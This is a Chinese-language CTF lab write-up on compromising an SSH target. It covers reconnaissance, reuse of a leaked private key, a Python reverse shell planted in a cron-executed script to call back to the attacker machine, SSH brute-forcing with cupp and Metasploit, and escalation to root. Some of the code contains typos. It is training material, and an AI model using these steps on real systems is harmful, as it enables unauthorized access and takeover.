目的:如何从外部进入最终root主机,取得flag
ssh协议介绍
SSH为Secure Shell的缩写,由IETF的网络小组(Network Working Group)所制定;SSH为建立在应用层基础上的安全协议。
SSH是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用ssH协议可以有效防止远程管理过程中的信息泄露问题。
基于TCP 22号端口的服务。
SSH协议认证机制
基于口令的安全验证
只要你知道自己帐号和口令,就可以登录到远程主机。所有传输的数据都会被加密,但是不能保证你正在连接的服务器就是你想连接的服务器。可能会有别的服务器在冒充真正的服务器,也就是受到“中间人”这种方式的攻击。
基于密匙的安全验证
需要依靠密匙,也就是你必须为自己创建一对密匙,并把公用密匙放在需要访问的服务器上。如果你要连接到ssH服务器上,客户端软件就会向服务器发出请求,请求用你的私有密匙进行安全验证。服务器收到请求之后,先在该服务器上你的主目录下寻找你的公用密匙,然后把它和你发送过来的私有密匙进行比较。如果两个密匙一致,则验证成功,登陆服务器。
id_rsa就是你的私钥,而id_rsa.pub则是你的公钥
SSH协议验证机制弱点
基于口令的安全验证
基于字典的暴力破解,破解对应用户名和密码,通过ssH客户端连接到远程主机的ssH服务,实现对服务器的一定控制。(不一定是root权限)
基于密钥的安全验证
通过对主机信息收集,获取到泄露的用户名和对应的密钥。
chmod 600 id_rsa
ssh -i id_rsa 用户名@主机地址 登陆服务器。(不一定是root权限)
实验环境
1.攻击机: kali 192.168.1.105
2.靶场机器:linux 192.168.1.106
信息探测
对于给定IP地址的靶场机器,对其进行渗透测试,首先需要考虑靶场机器开放的服务。
探测靶场开放的服务与服务的版本
-- nmap -sV 靶场IP地址
探测靶场全部信息
--nmap -A -v 靶场IP地址
探测靶场的操作系统类型与版本
--nmap -O 靶场lP地址
分析探测结果
对于SSH服务的22端口的靶场
首先考虑
1、暴力破解
2、私钥泄露(私钥有没有对应的密码、是否可以找到私钥的用户名)
对于开放http服务的8o端口或者其他端口的靶场
首先考虑
1、通过浏览器访问对应的靶场http服务,如http://靶场lP地址:http服务端口
2、使用探测工具对http的目录进行探测,如dirb http://靶场lP地址:http服务端口/
**特别注意特殊端口(大于1024的端口)**常用端口到1023,
挖掘敏感信息
使用浏览器对靶场IP的http服务探测,对页面中展示的内容也要注意,尤其是联系人等信息(有可能就是ssh的用户名信息),递归访问,力争把每一个dirb扫描到的目录页面都访问查看;
尤其对robots.txt、以及一些目录进行访问,挖掘具备利用价值的信息。
对于开放ssh服务的靶场,务必要注意是否可以寻找到ssh私钥信息(id_rsa);
续上图
点击icons,鼠标右键打开,出现下图界面
打开这个txt文件出现:
对于某些靶场,也可以使用nikto扫描器来挖掘敏感信息;-- nikto -host靶场lP地址
特别注意config等特殊敏感文件,要细读扫描的结果。挖掘可以利用的敏感信息;
利用敏感、弱点信息
下载找到的私钥,wget "地址“
重新命名文件为id_rsa
查看文件权限:
需要文件为600权限,修改权限
martin为用户名
对挖掘到的ssh密钥利用
1、修改id_rsa的权限
chmod 600 id_rsa
2、利用私钥登陆服务器
ssh -i id_rsa 用户名@靶场IP地址
注意:如果id_rsa没有解密密码,可以直接使用。但是如果id_rsa有解密密码,那么就需要进行对应的破解。
ssh -i id_rsa martin@192.168.1.106
cd /home中查看有哪些用户名
登录服务器之后,我们需要做以下操作。
1、查看当前用户 whoami
2、id查看当前用户的权限
3、查看根目录寻找flag文件
如果是root权限,那么表明这个靶场就被全部拿下。但是如果不是,就肯定需要提权。一般情况下,flag文件只属于root用户和对应的用户组;
cat /etc/passwd 查看所有用户的列表
cat /etc/group 查看用户组
find / -user用户名 查看属于某些用户的文件
/tmp 查看缓冲文件目录.
id查看当前用户的权限,发现为通用用户权限,无root 权限
深入挖掘
通过 /etc/crontab文件,设定系统定期执行的任务,编辑,需要root权限。不同的用户都可以有不同的定时任务
cat /etc/crontab 挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶场机器的某个文件。
如果在 /etc/crontab 下有某个用户的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。
如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限。
查看cat /etc/crontab 下有某个用户的定时计划文件,发现有一个。py文件
反弹shell
靶场代码
#!/usr/bin/python
import os,subprocess,socket
s=socket.socekt(socket.AF_INET,socket.soCK_STREAM)
s.connect((“攻击机IP地址",攻击机监听端口"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh”","-i"])
在kali中可以使用 netcat命令 – nc -lpv 未占用端口
过程:
先查看占用端口netstat -pantu
使用一个未被占用的端口号:
比如使用4445端口进行监听
写入一个代码到靶机中,现在的代码为:
将py文件名称改为 cat /etc/crontab 查看到的某个用户的定时计划py文件
发现临时执行文件的用户不同,现在为martin,而cat /etc/crontab 中查看到的为 jimmy用户
深入挖掘
目标: 寻找可以root靶场机器的方式
su -root
查看用户whoami
查看对应权限id
切换到/home/用户名目录查看是否具有可以提升root权限的文件;
发现jimmy也无root权限
万不得已的时候只能对ssh服务进行暴力破解。破解最后一个用户名。破解工具如hydra、medusa等;
在暴力破解之前需要先创建字典:
利用cupp创建字典
– git clone https://github.com/ieanphorn/common-password.git
– chmod +x cupp.py
– ./cupp.py -i 以交互的方式创建字典
创建字典文件hadi,再使用对应工具进行破解
使用metasploit破解SSH
在终端中输入
msfconsole
-- msf > use auxiliary/scanner/ssh/ssh_login
-- msf auxiliary(ssh_login) > set rhosts 192.168.1.137
-- msf auxiliary(ssh_login) > set username hadi
-- msf auxiliary(ssh_login) > set pass_file hadi.txt
-- msf auxiliary(ssh_login) > run
设置工具的参数:
通过 查看返回信息,并run
出现的session,没有用户名和对应目录,可使用下面方法进行优化
优化会话
python -c "import pty; pty.spawn(‘/bin/bash’)”
su - root 来提升为root权限,前提;知道密码
uid=0 gid=0 groupes=0为root权限
提升到root权限之后,切换目录寻找flag文件。一般情况下,flag文件是在root目录下.
cat flag文件名(一般情况flag.txt)
总结:
在对SSH服务渗透中,大部分情况是利用获取的私钥文件,直接使用用户名和私钥文件登录靶场机器,个别情况进行暴力破解获取用户密码,通过用户名和对应用户登录靶场机器。
CTF中要特别注意
/tmp 数据缓冲目录
以及 /etc/crontab 设置定时执行的文件